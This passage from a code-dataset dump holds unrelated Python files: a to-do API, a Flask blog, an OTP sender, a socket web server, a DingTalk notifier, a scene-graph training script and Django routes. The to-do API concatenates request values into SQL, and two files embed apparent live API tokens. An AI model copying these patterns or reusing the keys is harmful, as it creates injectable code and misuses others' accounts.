INotes):\n print('INSIDE updateComp')\n todos = note.todos\n if (todos[-1][\"completed\"]):\n flag = 0\n else:\n flag = 1\n cursor.execute(\"UPDATE Todolist.dbo.ITodo SET completed =\" +\n str(flag) + \" WHERE todoId = \" + str(todos[-1][\"todoId\"]))\n cnn.commit()\n\n\n@app.post(\"/note/updateNote\")\nasync def updateOpenList(note: INotes):\n if (note.openList):\n flag = 0\n else:\n flag = 1\n cursor.execute(\"UPDATE Todolist.dbo.INotes SET openList =\" +\n str(flag)+\" WHERE id = \"+str(note.id))\n cnn.commit()\n","repo_name":"dorhaba/Todolist_pyhton","sub_path":"Todolist/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":4069,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"21589214296","text":"from flask import Flask, render_template, request\nimport requests\nimport smtplib\nfrom datetime import date\n\nnpoint_url = 'https://api.npoint.io/a695600da11dfa61ec4f'\nOWN_EMAIL = 'YOUR EMAIL'\nOWN_PASSWORD = 'YOUR PASSWORD'\nposts = requests.get(npoint_url).json()\napp = Flask(__name__)\n\n\n@app.route('/')\n@app.route('/index.html')\ndef get_all_posts():\n \"\"\"Landing Page.\"\"\"\n return render_template('index.html', all_posts=posts, year=year, month=month)\n\n\n@app.route('/post/')\ndef show_post(index):\n requested_post = None\n for blog_post in posts:\n if blog_post['id'] == index:\n requested_post = blog_post\n return render_template('post.html', post=requested_post, year=year)\n\n\n@app.route('/about')\ndef about():\n \"\"\"About Page.\"\"\"\n return render_template('about.html', year=year)\n\n\n@app.route('/contact', methods=['GET', 'POST'])\ndef contact():\n \"\"\"Contact Page.\"\"\"\n if request.method == 'POST':\n data = request.form\n send_email(data[\"name\"], data[\"email\"], data[\"phone\"], data[\"message\"])\n return render_template('contact.html', year=year, msg_sent=True)\n return render_template('contact.html', year=year, msg_sent=False)\n\n\n@app.route('/post')\ndef post():\n \"\"\"Post Page\"\"\"\n return render_template('post.html')\n\n\ndef send_email(name, email, phone, message):\n # if you get UnicodeEncodeError\n # try {message}\".encode(\"utf-8\")\n email_message = f\"Subject:New Message\\n\\nName: {name}\\nEmail: {email}\\nPhone: {phone}\\nMessage:{message}\"\n with smtplib.SMTP('smtp.gmail.com') as connection:\n connection.starttls()\n connection.login(OWN_EMAIL, OWN_PASSWORD)\n connection.sendmail(OWN_EMAIL, OWN_EMAIL, email_message)\n\n\nif __name__ == '__main__':\n today = date.today()\n year = today.year\n month = today.month\n app.run(debug=True)\n","repo_name":"ChaosFreeze/upgraded-blog","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1844,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"38074782458","text":"from __future__ import annotations\nfrom src.helpers.selectors.dict_selector import DictSelector\nfrom src.facades.config.config_reader import ConfigReader\nfrom src.generators.image_generator import ImageGenerator\nfrom src.generators.sound_generator import SoundGenerator\nfrom src.generators.number_generator import NumberGenerator\nfrom src.generators.clip_generator import ClipGenerator\nfrom libs.python_library.argument_parser import ArgumentParser\n\n\nclass AppDelegator:\n def __init__(self) -> None:\n pass\n\n def apply_config(self) -> AppDelegator:\n for key, value in ConfigReader.read().items():\n setattr(self, f'_{key}', value)\n print('[%s]: %s' % (key, value))\n self._img_config = ConfigReader.read(path=self._img_config_path)\n self._sound_config = ConfigReader.read(path=self._sound_config_path)\n return self\n \n def apply_arguments(self) -> AppDelegator:\n for key, value in ArgumentParser.get_pairs(remove_prefix=True).items():\n setattr(self, f'_{key}', int(value))\n print('[%s]: %s' % (key, value))\n return self\n\n def generate_pairs(self) -> AppDelegator:\n print('In generate_pairs')\n self.imgs = {}\n while(len(self.imgs) < self._img_cnt):\n self.imgs[NumberGenerator(\n config=self._img_config,\n folder=self._img_folder,\n basis=self._max_imgs,\n file_type=self._img_type\n ).generate().condition_correcting().output()] = len(self.imgs)\n print('going for sound')\n self.sounds = {}\n while(len(self.sounds) < self._img_cnt):\n self.sounds[NumberGenerator(\n config=self._sound_config,\n folder=self._sound_folder,\n basis=self._max_imgs,\n file_type=self._sound_type\n ).generate().condition_correcting().output()] = len(self.sounds)\n return self\n\n def generate_pictures(self) -> AppDelegator:\n print('In generate_pictures')\n for img_code, index in self.imgs.items():\n print(f'image #{index} = {img_code}')\n ImageGenerator(\n config=self._img_config,\n folder=self._img_folder,\n basis=self._max_imgs,\n file_type=self._img_type\n ) \\\n .decode(img_code) \\\n .generate() \\\n .save(path=self._output_path['imgs'])\n print(f'done for image #{index}')\n return self\n\n def generate_sounds(self) -> AppDelegator:\n print('In generate_sounds')\n for sound_code, index in self.sounds.items():\n print(f'sound #{index} = {sound_code}')\n SoundGenerator(\n config=self._sound_config,\n folder=self._sound_folder,\n basis=self._max_imgs,\n file_type=self._sound_type\n ) \\\n .decode(sound_code) \\\n .generate() \\\n .mastering() \\\n .save(path=self._output_path['sounds'])\n print(f'done music for #{index}')\n return self\n \n def mix(self) -> AppDelegator:\n for i in range(self._img_cnt):\n ClipGenerator(\n sound_id=DictSelector.get_by_value(self.sounds, i)[0],\n img_id=DictSelector.get_by_value(self.imgs, i)[0]\n ) \\\n .load_img(path=self._output_path['imgs'], file_type=self._img_type) \\\n .load_sound(path=self._output_path['sounds'], file_type=self._sound_type) \\\n .generate() \\\n .save(path=self._output_path['mp4s'])\n return self\n","repo_name":"shamir0xe/xellu","sub_path":"src/delegators/app_delegator.py","file_name":"app_delegator.py","file_ext":"py","file_size_in_byte":3702,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"73640633050","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n#########################################################################\n# Author: Zhaoting Weng\n# Created Time: Sun 18 Oct 2015 06:39:23 PM CST\n# File Name: systemd_filter.py\n# Description:\n#########################################################################\n\nimport argparse\nimport sys\nimport os\n\nsys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), os.path.pardir)))\n\nfrom lib.dot_filter import dot_filter\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"input\")\nparser.add_argument(\"--from-node\", dest=\"fromNode\", default=\"\", help='From which node to extract(regexp supported)')\nparser.add_argument(\"--to-node\", dest=\"toNode\", default=\"\", help='To which node to extract(regexp supported)')\nparser.add_argument(\"--filter\", dest=\"filter\", nargs=\"*\", choices=[\"conflicts\", \"after\", \"wants\", \"requires\", \"requisite\"], help='Which kind of transitions do you want to view')\nparser.add_argument(\"--output\", \"-o\", dest=\"output\", default=\"./output.dot\", help='Output filtered dot file')\nArgs = parser.parse_args()\n\ndot = dot_filter(\"systemd\")\ndot.filt(Args.input, Args.fromNode, Args.toNode, Args.filter, Args.output)\n\n","repo_name":"magodo/DotFilter","sub_path":"bin/systemd_filter.py","file_name":"systemd_filter.py","file_ext":"py","file_size_in_byte":1195,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"36942297933","text":"from django.conf import settings\nimport http.client,requests,random\n\n\ndef phone_otp(phone_number,otp):\n try:\n url = f'https://2factor.in/API/V1/e2496452-1a3b-11ee-addf-0200cd936042/SMS/+91{phone_number}/{otp}/OTP1'\n response = requests.get(url)\n \n except Exception as e:\n return None","repo_name":"deepak982/Like-Dislike","sub_path":"mainapp/otp.py","file_name":"otp.py","file_ext":"py","file_size_in_byte":313,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"71007050013","text":"# import socket module\nfrom socket import *\nimport datetime\n\nserverSocket = socket(AF_INET, SOCK_STREAM)\n# Prepare a sever socket\naddress = ('', 6789)\nserverSocket.bind(address)\nserverSocket.listen(5)\n\nwhile True:\n # Establish the connection6\n print('Ready to serve...')\n connectionSocket, addr = serverSocket.accept()\n print('addr:', addr)\n try:\n message = connectionSocket.recv(1024).decode()\n print('message:', message)\n filename = message.split()[1]\n f = open(filename[1:])\n output_data = f.read()\n # print('output_data:', output_data)\n # Send one HTTP header line into socket\n now = datetime.datetime.now()\n first_header = \"HTTP/1.1 200 OK\"\n header_info = {\n \"Date\": now.strftime(\"%Y-%m-%d %H:%M\"),\n \"Content-Length\": len(output_data),\n \"Keep-Alive\": \"timeout=%d,max=%d\" % (10, 100),\n \"Connection\": \"Keep-Alive\",\n \"Content-Type\": \"text/html\"\n }\n following_header = \"\\r\\n\".join(\"%s:%s\" % (item, header_info[item])\n for item in header_info)\n # print(\"following_header:\", following_header)\n connectionSocket.send(\"%s\\r\\n%s\\r\\n\\r\\n\".encode() % (first_header.encode(),\n following_header.encode()))\n # Send the content of the requested file to the client\n for i in range(0, len(output_data)):\n connectionSocket.send(output_data[i].encode())\n connectionSocket.send(\"\\r\\n\".encode())\n\n connectionSocket.close()\n except IOError:\n # Send response message for file not found\n # Close client socket\n connectionSocket.send(\"HTTP/1.1 404 Not Found\\r\\nContent-Type: \"\n \"text/html\\r\\n\\r\\n

    404 Not \"\n \"Found

    \".encode())\n connectionSocket.close()\n\nserverSocket.close()\n# sys.exit() # Terminate the program after sending the corresponding data\n","repo_name":"Index-Out-Of-Range/ComputerNet","sub_path":"dp1/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":2105,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"12970804000","text":"# coding:utf-8\nimport json\nimport requests\n\n\ndef new_req(url, text, title,):\n data = {'msgtype': 'markdown',\n 'markdown': {\n 'text': text,\n 'title': title,\n # 'messageUrl': messageurl\n }}\n data = json.dumps(data).encode(encoding='UTF8')\n print(data)\n head = {\"Content-Type\": \"application/json\"}\n response = requests.post(url, data=data, headers=head).json\n print(response)\n\n\n# 钉钉机器人链接\n# url = \"https://oapi.dingtalk.com/robot/send?access_token=4c3fe1a2d54d0c51c8d6867c6104cc0e095113f48667e15012b8545043942b49\"\n# waring_text = \"### 请查看接口测试报告\"\n# new_req(url, waring_text, \"接口预警\")\n","repo_name":"willcyc/test_coding","sub_path":"test_coding/common_file/sendDD.py","file_name":"sendDD.py","file_ext":"py","file_size_in_byte":703,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"20711289753","text":"import torch\nfrom maskrcnn_benchmark.modeling.utils import cat\nimport numpy as np\nfrom torch import nn\n\nimport argparse\nimport os\nimport time\nimport datetime\nimport pickle\n\nfrom maskrcnn_benchmark.data import make_data_loader\nfrom maskrcnn_benchmark.data.build import make_data_sampler, make_batch_data_sampler\nfrom maskrcnn_benchmark.config import cfg\nfrom maskrcnn_benchmark.utils.miscellaneous import mkdir, save_config\nfrom maskrcnn_benchmark.utils.logger import setup_logger, debug_print\nfrom maskrcnn_benchmark.utils.comm import synchronize, get_rank, all_gather, is_main_process\nfrom maskrcnn_benchmark.solver import make_optimizer\nfrom maskrcnn_benchmark.solver import make_lr_scheduler\nfrom maskrcnn_benchmark.utils.metric_logger import MetricLogger\nfrom maskrcnn_benchmark.utils.checkpoint import clip_grad_norm\nfrom maskrcnn_benchmark.utils.checkpoint import DetectronCheckpointer\nfrom maskrcnn_benchmark.modeling.detector import build_detection_model\nfrom maskrcnn_benchmark.modeling.roi_heads.relation_head.utils_relation import layer_init\nfrom maskrcnn_benchmark.engine.inference import inference\nfrom maskrcnn_benchmark.HTCL.htcl_feats_dataset import HTCL_Feats_Dataset\nfrom maskrcnn_benchmark.engine.trainer import reduce_loss_dict\nfrom maskrcnn_benchmark.solver.lr_scheduler import WarmupMultiStepLR, WarmupReduceLROnPlateau\n# See if we can use apex.DistributedDataParallel instead of the torch default,\n# and enable mixed-precision via apex.amp\n# try:\n# from apex import amp\n# except ImportError:\n# raise ImportError('Use APEX for multi-precision via apex.amp')\n\n\nclass Classifier(nn.Module):\n def __init__(self, config):\n super(Classifier, self).__init__()\n self.num_rel_cls = config.MODEL.ROI_RELATION_HEAD.NUM_CLASSES\n self.LAST_FEATS_DIM = config.MODEL.ROI_RELATION_HEAD.LAST_FEATS_DIM\n self.cfg = config\n self.sigmoid = nn.Sigmoid()\n self.fine_cls = nn.Linear(self.LAST_FEATS_DIM, self.num_rel_cls)\n layer_init(self.fine_cls, xavier=True)\n\n def forward(self, feats, rel_dist0=None, logit_wt=None):\n if self.cfg.MODEL.ft_with_dist0:\n refine_dist = self.fine_cls(feats)\n refine_dist = (refine_dist - refine_dist.mean(dim=1).reshape(-1, 1)) / refine_dist.std(dim=1).reshape(-1, 1)\n rel_dist = rel_dist0 * self.sigmoid(logit_wt) + refine_dist * (1 - self.sigmoid(logit_wt))\n return rel_dist\n else:\n refine_dist = self.fine_cls(feats)\n refine_dist = (refine_dist - refine_dist.mean(dim=1).reshape(-1, 1)) / refine_dist.std(dim=1).reshape(-1, 1)\n return refine_dist\n\n\ndef make_classifier_data_loader(cfg, dataset=None, batch_size=None, shuffle=True, start_iter=0, is_distributed=False):\n images_per_gpu = batch_size\n num_iters = cfg.SOLVER.Classifier_max_iter\n sampler = make_data_sampler(dataset, shuffle, is_distributed)\n batch_sampler = make_batch_data_sampler(\n dataset, sampler, False, images_per_gpu, num_iters, start_iter\n )\n\n num_workers = cfg.DATALOADER.NUM_WORKERS\n data_loader = torch.utils.data.DataLoader(\n dataset,\n num_workers=num_workers,\n batch_sampler=batch_sampler,\n )\n return data_loader\n\n\ndef sgg_model_load_parameterss(model, classifier, distributed):\n if distributed:\n classifier = classifier.module\n with torch.no_grad():\n model.roi_heads.relation.predictor.fine_cls.weight.copy_(classifier.fine_cls.weight, non_blocking=True)\n model.roi_heads.relation.predictor.fine_cls.bias.copy_(classifier.fine_cls.bias, non_blocking=True)\n return model\n\n\ndef fix_eval_modules(eval_modules):\n for module in eval_modules:\n for _, param in module.named_parameters():\n param.requires_grad = False\n\n\ndef run_val(cfg, model, val_data_loaders, distributed, logger):\n iou_types = (\"bbox\",)\n if cfg.MODEL.MASK_ON:\n iou_types = iou_types + (\"segm\",)\n if cfg.MODEL.KEYPOINT_ON:\n iou_types = iou_types + (\"keypoints\",)\n if cfg.MODEL.RELATION_ON:\n iou_types = iou_types + (\"relations\",)\n if cfg.MODEL.ATTRIBUTE_ON:\n iou_types = iou_types + (\"attributes\",)\n\n\n dataset_names = cfg.DATASETS.VAL\n val_result = []\n for dataset_name, val_data_loader in zip(dataset_names, val_data_loaders):\n dataset_result = inference(\n cfg,\n model,\n val_data_loader,\n dataset_name=dataset_name,\n iou_types=iou_types,\n box_only=False if cfg.MODEL.RETINANET_ON else cfg.MODEL.RPN_ONLY,\n device=cfg.MODEL.DEVICE,\n expected_results=cfg.TEST.EXPECTED_RESULTS,\n expected_results_sigma_tol=cfg.TEST.EXPECTED_RESULTS_SIGMA_TOL,\n output_folder=None,\n logger=logger,\n )\n synchronize()\n val_result.append(dataset_result)\n # support for multi gpu distributed testing\n gathered_result = all_gather(torch.tensor(dataset_result).cpu())\n gathered_result = [t.view(-1) for t in gathered_result]\n gathered_result = torch.cat(gathered_result, dim=-1).view(-1)\n valid_result = gathered_result[gathered_result >= 0]\n val_result = float(valid_result.mean())\n del gathered_result, valid_result\n # torch.cuda.empty_cache()\n return val_result\n\n\ndef run_test(cfg, model, distributed, logger):\n iou_types = (\"bbox\",)\n if cfg.MODEL.MASK_ON:\n iou_types = iou_types + (\"segm\",)\n if cfg.MODEL.KEYPOINT_ON:\n iou_types = iou_types + (\"keypoints\",)\n if cfg.MODEL.RELATION_ON:\n iou_types = iou_types + (\"relations\",)\n if cfg.MODEL.ATTRIBUTE_ON:\n iou_types = iou_types + (\"attributes\",)\n output_folders = [None] * len(cfg.DATASETS.TEST)\n\n dataset_names = cfg.DATASETS.TEST\n if cfg.CLASSIFIER_OUTPUT_DIR:\n for idx, dataset_name in enumerate(dataset_names):\n output_folder = os.path.join(cfg.CLASSIFIER_OUTPUT_DIR, \"inference\", dataset_name)\n mkdir(output_folder)\n output_folders[idx] = output_folder\n data_loaders_val = make_data_loader(cfg, mode='test', is_distributed=distributed)\n for output_folder, dataset_name, data_loader_val in zip(output_folders, dataset_names, data_loaders_val):\n inference(\n cfg,\n model,\n data_loader_val,\n dataset_name=dataset_name,\n iou_types=iou_types,\n box_only=False if cfg.MODEL.RETINANET_ON else cfg.MODEL.RPN_ONLY,\n device=cfg.MODEL.DEVICE,\n expected_results=cfg.TEST.EXPECTED_RESULTS,\n expected_results_sigma_tol=cfg.TEST.EXPECTED_RESULTS_SIGMA_TOL,\n output_folder=output_folder,\n logger=logger,\n )\n synchronize()\n\n\n\ndef htcl_classifier_ft(cfg, local_rank, distributed, logger):\n debug_print(logger, 'prepare training')\n classifier = Classifier(cfg)\n debug_print(logger, 'end model construction')\n device = torch.device(cfg.MODEL.DEVICE)\n classifier.to(device)\n\n num_batch = cfg.SOLVER.Classifier_batch\n cls_optimizer = make_optimizer(cfg, classifier, logger, slow_heads=[], slow_ratio=10.0,\n rl_factor=float(num_batch))\n scheduler = WarmupMultiStepLR(cls_optimizer, cfg.SOLVER.cls_ft_STEPS, 0.1, warmup_factor=0.01, warmup_iters=2000)\n debug_print(logger, 'end optimizer and shcedule')\n\n # Initialize mixed-precision training\n # use_mixed_precision = cfg.DTYPE == \"float16\"\n # amp_opt_level = 'O1' if use_mixed_precision else 'O0'\n # classifier, cls_optimizer = amp.initialize(classifier, cls_optimizer, opt_level= amp_opt_level,verbosity=0)\n\n if distributed:\n classifier = torch.nn.parallel.DistributedDataParallel(\n classifier, device_ids=[local_rank], output_device=local_rank,\n # this should be removed if we update BatchNorm stats\n broadcast_buffers=False,\n find_unused_parameters=True,\n )\n debug_print(logger, 'end distributed')\n\n arguments = {}\n arguments[\"iteration\"] = 0\n arguments[\"last_val_results\"] = 0\n arguments[\"best_val_results\"] = 0\n\n output_dir = cfg.CLASSIFIER_OUTPUT_DIR\n save_to_disk = get_rank() == 0\n\n checkpointer = DetectronCheckpointer(cfg, classifier, cls_optimizer,scheduler, save_dir= output_dir, save_to_disk= save_to_disk,logger=logger, custom_scheduler=True)\n\n if checkpointer.has_checkpoint():\n extra_checkpoint_data = checkpointer.load()\n arguments.update(extra_checkpoint_data)\n else:\n load_mapping = {\"fine_cls\": \"roi_heads.relation.predictor.fine_cls\"}\n checkpointer.load(cfg.MODEL.Feature_Generation_MODEL, with_optim=False, load_mapping=load_mapping)\n\n sgg_model = build_detection_model(cfg)\n eval_modules = (sgg_model.rpn, sgg_model.backbone, sgg_model.roi_heads,)\n fix_eval_modules(eval_modules)\n sgg_model.to(device)\n\n # use_mixed_precision = cfg.DTYPE == \"float16\"\n # amp_opt_level = 'O1' if use_mixed_precision else 'O0'\n # sgg_model = amp.initialize(sgg_model, opt_level=amp_opt_level)\n\n checkpointer_sgg = DetectronCheckpointer(cfg, sgg_model, logger=logger)\n checkpointer_sgg.load(cfg.MODEL.Feature_Generation_MODEL, with_optim=False)\n\n sgg_model = sgg_model_load_parameterss(sgg_model, classifier, distributed)\n\n # # # # # # # # # # # # # # #\n if cfg.MODEL.ft_with_dist0:\n logit_wt = sgg_model.roi_heads.relation.predictor.logit_wt\n\n data_set = HTCL_Feats_Dataset(cfg, logger)\n train_data_loader = make_classifier_data_loader(cfg, dataset=data_set, batch_size=num_batch,\n shuffle=True, start_iter=arguments[\"iteration\"], is_distributed=distributed)\n val_data_loaders = make_data_loader(cfg, mode='val', is_distributed=distributed,)\n debug_print(logger, 'end dataloader')\n\n if cfg.SOLVER.PRE_VAL:\n logger.info(\"Validate before training\")\n run_val(cfg, sgg_model, val_data_loaders, distributed, logger)\n\n logger.info(\"Start training\")\n ce_loss = nn.CrossEntropyLoss()\n meters = MetricLogger(delimiter=\" \")\n max_iter = len(train_data_loader)\n start_iter = arguments[\"iteration\"]\n\n start_training_time = time.time()\n end = time.time()\n print_first_grad = True\n\n for iteration, batch in enumerate(train_data_loader, start_iter):\n data_time = time.time() - end\n iteration = iteration + 1\n arguments[\"iteration\"] = iteration\n classifier.train()\n\n if cfg.MODEL.ft_with_dist0:\n feats, rels, rel_dist0 = batch\n rel_dist0 = rel_dist0.to(device)\n feats = feats.to(device)\n rels = rels.to(device)\n rel_dist = classifier(feats, rel_dist0, logit_wt)\n else:\n feats, rels = batch\n feats = feats.to(device)\n rels = rels.to(device)\n rel_dist = classifier(feats)\n loss_ce = ce_loss(rel_dist.float(), rels.long())\n loss_relation = dict(loss_ce=loss_ce)\n\n losses = sum(loss for loss in loss_relation.values())\n # reduce losses over all GPUs for logging purposes\n loss_dict_reduced = reduce_loss_dict(loss_relation)\n losses_reduced = sum(loss for loss in loss_dict_reduced.values())\n\n meters.update(loss=losses_reduced, **loss_dict_reduced)\n cls_optimizer.zero_grad()\n\n # Note: If mixed precision is not used, this ends up doing nothing\n # Otherwise apply loss scaling for mixed-precision recipe\n # with amp.scale_loss(losses, cls_optimizer) as scaled_losses:\n # scaled_losses.backward()\n\n losses.backward()\n # add clip_grad_norm from MOTIFS, tracking gradient, used for debug\n verbose = (iteration % cfg.SOLVER.Classifier_checkpoint_period) == 0 \\\n or print_first_grad # print grad or not\n print_first_grad = False\n clip_grad_norm([(n, p) for n, p in classifier.named_parameters() if p.requires_grad],\n max_norm=cfg.SOLVER.GRAD_NORM_CLIP, logger=logger, verbose=verbose, clip=True)\n cls_optimizer.step()\n scheduler.step()\n\n batch_time = time.time() - end\n end = time.time()\n meters.update(time=batch_time, data=data_time)\n\n eta_seconds = meters.time.global_avg * (max_iter - iteration)\n eta_string = str(datetime.timedelta(seconds=int(eta_seconds)))\n\n if iteration % (cfg.SOLVER.Classifier_checkpoint_period/10) == 0:\n logger.info(meters.delimiter.join(\n [\n \"eta: {eta}\",\n \"iter: {iter}\",\n \"{meters}\",\n \"lr: {lr:.6f}\",\n \"max_iter: {max_iter}\",\n ]\n ).format(\n eta=eta_string,\n iter=iteration,\n meters=str(meters),\n lr=cls_optimizer.param_groups[-1][\"lr\"],\n max_iter=max_iter,\n ))\n\n if iteration % cfg.SOLVER.Classifier_checkpoint_period == 0:\n logger.info(\"Start validating\")\n sgg_model = sgg_model_load_parameterss(sgg_model, classifier, distributed)\n val_result = run_val(cfg, sgg_model, val_data_loaders, distributed, logger)\n arguments[\"last_val_results\"] = val_result\n if arguments[\"last_val_results\"] >= arguments[\"best_val_results\"]:\n arguments[\"best_val_results\"] = arguments[\"last_val_results\"]\n\n logger.info(\"Validation Result: %.4f\" % val_result)\n checkpointer.save(\"model_{:07d}\".format(iteration), **arguments)\n\n total_training_time = time.time() - start_training_time\n total_time_str = str(datetime.timedelta(seconds=total_training_time))\n logger.info(\n \"Total training time: {} ({:.4f} s / it)\".format(\n total_time_str, total_training_time / (max_iter)\n )\n )\n\n with open(output_dir + \"/End_traning\", 'w') as f:\n f.write('End classifier training')\n\n if not cfg.TEST.Skip_test:\n checkpointer.load()\n sgg_model = sgg_model_load_parameterss(sgg_model, classifier, distributed)\n run_test(cfg, sgg_model, distributed, logger)\n\n return classifier, sgg_model","repo_name":"wanglei0618/HTCL","sub_path":"maskrcnn_benchmark/HTCL/htcl_classifier_ft.py","file_name":"htcl_classifier_ft.py","file_ext":"py","file_size_in_byte":14224,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"3110254099","text":"import gui.shared_functions.functions as gsf\nimport gui.multivariate_analysis.main_page as gmm\nfrom tkinter import Frame, Button\n\nclass MainPage:\n def __init__(self, master):\n self.dict = {\n 'button_height': 0.05,\n 'start_point': 0,\n 'one_portion': 0.1,\n 'two_portions': 0.2,\n 'three_portions': 0.3,\n 'four_portions': 0.4,\n 'five_portions': 0.5,\n 'six_portions': 0.6,\n 'seven_portions': 0.7,\n 'eight_portions': 0.8,\n 'nine_portions': 0.9,\n 'ten_portions': 1,\n }\n # keep `root` in `self.master`\n self.master = master\n self.frame = Frame(self.master, bg='white')\n self.frame.place(relx=self.dict['one_portion'], rely=self.dict['start_point'], relwidth=self.dict['eight_portions'], relheight=self.dict['ten_portions'])\n self.button1 = Button(self.frame, text=\"A. Single Factor Analysis\" # (*)\n # , command = helloCallBack\n )\n self.button2 = Button(self.frame, text=\"B. Multivariate Analysis\", command=self.openMultivariateAnalysisPage)\n self.button1.place(relx=self.dict['start_point'], rely=self.dict['two_portions'], relwidth=self.dict['ten_portions'], relheight=self.dict['two_portions'])\n self.button2.place(relx=self.dict['start_point'], rely=self.dict['six_portions'], relwidth=self.dict['ten_portions'], relheight=self.dict['two_portions'])\n\n def openMultivariateAnalysisPage(self):\n gsf.deleteWidgets(self.frame)\n # use `root` with another class\n return gmm.MultivariateAnalysisPage(self.master, self.frame, self.dict)\n\n","repo_name":"minhdc2/Credit_Modelling---Desktop-App","sub_path":"gui/main_page.py","file_name":"main_page.py","file_ext":"py","file_size_in_byte":1709,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"19341455678","text":"def mergeTwoSortedLists(self, head_1, head_2):\n # if head_1 is None and head_2 is None: return None\n dummy_head = Node(None)\n tail, current_1, current_2 = dummy_head, head_1, head_2\n while current_1 is not None and current_2 is not None:\n if current_1.val <= current_2.val:\n tail.next, current_1 = current_1, current_1.next\n else:\n tail.next, current_2 = current_2, current_2.next\n\n tail = tail.next\n\n # work with leftover list\n if current_1 is None:\n tail.next = current_2\n if current_2 is None:\n tail.next = current_1\n\n return dummy_head.next\n\n\"\"\"\nlist1 = 1 -> 3 -> None, list2 = 2 -> 4 -> None\ndummy_head = None -> 1 -> 2 -> 3\ntail.next = 3\ncurrent_1 = None\n- saved_next = None\ncurrent_2 = 2\n\n\"\"\"\n\n\ndef mergeTwoSortedLists(self, head_1, head_2):\n if head_1 is None and head_2 is None:\n return None\n\n if head_1 is None:\n return head_2\n\n if head_2 is None:\n return head_1\n\n if head_1.val <= head_2.val:\n saved_next = head_1.next\n head_1.next = self.mergeTwoSortedLists(saved_next, head_2)\n return head_1\n else:\n saved_next = head_2.next\n head_2.next = self.mergeTwoSortedLists(head_1, saved_next)\n return head_2","repo_name":"quyencodes/structy-py","sub_path":"9-dailies/1-linked_lists/mergeTwoSortedLists.py","file_name":"mergeTwoSortedLists.py","file_ext":"py","file_size_in_byte":1177,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"39590417230","text":"from prefect import flow, task\nfrom prefect.task_runners import SequentialTaskRunner\nimport argparse\nimport tensorflow as tf\nfrom tensorflow import keras\nimport mlflow\nimport mlflow.keras\nimport os\n\nos.environ['AZURE_STORAGE_ACCESS_KEY'] =\"XXXXXXXXXXXXXXX\"\n\n@task(name=\"MNIST Task Prefect-AKS-MLFlow\")\ndef task_train_mnist():\n\n parser = argparse.ArgumentParser()\n parser.add_argument('--epochs', type=int, default=10, help='Number of epochs to train for')\n parser.add_argument('--batch_size', type=int, default=128, help='Batch size for training')\n parser.add_argument('--learning_rate', type=float, default=0.001, help='Learning rate for optimizer')\n parser.add_argument('--dropout_rate', type=float, default=0.25, help='Dropout rate for regularization')\n args = parser.parse_args()\n\n # Load MNIST dataset\n (x_train, y_train), (x_test, y_test) = keras.datasets.mnist.load_data()\n x_train = x_train.astype('float32') / 255.0\n x_test = x_test.astype('float32') / 255.0\n y_train = keras.utils.to_categorical(y_train)\n y_test = keras.utils.to_categorical(y_test)\n\n # Define model architecture\n model = keras.Sequential([\n keras.layers.Flatten(input_shape=(28, 28)),\n keras.layers.Dense(128, activation='relu'),\n keras.layers.Dropout(args.dropout_rate),\n keras.layers.Dense(10, activation='softmax')\n ])\n model.compile(optimizer=tf.optimizers.Adam(lr=args.learning_rate),\n loss='categorical_crossentropy',\n metrics=['accuracy'])\n # Set MLFlow tracking server URL\n model_name=\"MNIST-Model\"\n mlflow.set_tracking_uri(\"http://mlflowserver-aci-latest-dnsname.eastus.azurecontainer.io:5000\")\n mlflow.set_experiment(\"MNIST-Prefect-AKS-MLFlow-ADLS\")\n\n # Start MLFlow tracking\n with mlflow.start_run() as run:\n # Log parameters\n mlflow.log_param('epochs', args.epochs)\n mlflow.log_param('batch_size', args.batch_size)\n mlflow.log_param('learning_rate', args.learning_rate)\n mlflow.log_param('dropout_rate', args.dropout_rate)\n\n mlflow.keras.log_model(model,model_name)\n mlflow.end_run()\n\n@flow(name=\"MNIST Traning Flow Prefect-AKS-MLFlow\"\n #,description=\"MNIST Flow using SequentialTaskRunner\"\n #,task_runner=SequentialTaskRunner()\n ,log_prints=True)\ndef train_mnist():\n print(\"Beginning Traning for MNIST! Traning on AKS Tracking MLFlow Workflow Prefect\")\n task_train_mnist()\n\n\nif __name__ == \"__main__\":\n train_mnist()","repo_name":"keshavksingh/ml-training-prefect-workflow","sub_path":"Train-MLFlow-Prefect.py","file_name":"Train-MLFlow-Prefect.py","file_ext":"py","file_size_in_byte":2496,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"19416813519","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n path('',views.index,name=\"index\"),\n path('about/',views.about,name=\"about\"),\n path('services/',views.services,name=\"services\"),\n path('Product/',views.Product,name=\"Product\"),\n path('register/', views.register,name=\"register\"),\n path('userlogin/',views.userlogin,name=\"userlogin\"),\n path('login1/', views.login1, name='login1'),\n path('logout1/', views.logout1, name=\"logout1\"),\n path('UserTable/', views.UserTable, name=\"UserTable\"),\n path('delete//', views.delete_data, name=\"deletedata\"),\n path('update//', views.Update_data,name=\"updatedata\"),\n path('adduser/', views.adduser, name=\"adduser\"),\n path('EditProfile//', views.EditProfile, name=\"EditProfile\"),\n path('forgot/',views.forgot,name='forgot'),\n path('UserStatus//',views.UserStatus,name=\"UserStatus\"),\n # 